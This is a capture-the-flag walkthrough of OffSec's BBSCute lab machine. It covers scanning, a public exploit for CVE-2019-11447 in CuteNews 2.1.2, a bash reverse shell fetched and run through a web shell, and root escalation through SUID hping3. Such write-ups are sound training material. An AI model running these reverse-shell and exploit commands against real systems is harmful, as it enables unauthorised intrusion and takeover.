This is a walkthrough of the machine BBSCute from OffSec's Proving Grounds Play labs.
Machine information:
- Level: Easy
- Community rating: Intermediate
- Flags: 2
- OS: Linux
- Vector: Webapp, local
Nmap
sudo nmap -A --open -sV -sC -v -p- <IP>
Starting off with an Nmap scan, we discover the following open ports:
- 22 - SSH
- 80/88 - HTTP
- 110/995 - POP3
Webapp
Enumerating the web application on port 80 using gobuster, we discover the page /index.php.
gobuster dir -u http://<IP>/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 64 -x php,txt
Navigating to /index.php, we discover that CuteNews 2.1.2 is running.
Initial access
CuteNews 2.1.2 is vulnerable to CVE-2019-11447, searching for PoCs, we find this GitHub repository.
We clone the Python script and take a closer look:
wget https://raw.githubusercontent.com/thewhiteh4t/cve-2019-11447/refs/heads/main/cve-2019-11447.py
The script requires a username and password, therefore we have to pivot back to the web application and register an account.
Although after trying to register, we run into a problem - a captcha is required, however it is never displayed:
Looking at the page source of /index.php?register, we find a reference to /captcha.php.
We can navigate to /captcha.php, and use the code from this page to register an account.
With a valid account in hand, we will run the exploit again:
python3 CVE-2019-11447.py http://<IP>/index.php <USERNAME> <PASSWORD>
Now, we have a web shell on the target, which we can use to obtain a reverse shell:
- Create a shell.sh script
#!/bin/bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
- Start a web server on our attack box
python3 -m http.server 80
- Use the web shell to download our script
/uploads/avatar_test_4706.php?cmd=wget http://<IP>/shell.sh -O /tmp/shell.sh
- Start a netcat listener on our attack box
nc -lvnp <PORT>
- Use the web shell to execute the script
/uploads/avatar_test_4706.php?cmd=bash /tmp/shell.sh
We receive a shell as www-data, and can read the first local.txt flag.
Privilege escalation
Before proceeding, we need to upgrade our shell first, by running:
python3 -c 'import pty;pty.spawn("/bin/bash")'
You will run into issues if you do not follow this step.
Using manual enumeration, looking for executables with the SUID bit set, we find /usr/sbin/hping3:
find / -perm -u=s -type f 2>/dev/null
We can abuse this to escalate privileges by running the following, which provides us with a root shell to finally read the second proof.txt flag:
/usr/sbin/hping3
/bin/sh -p
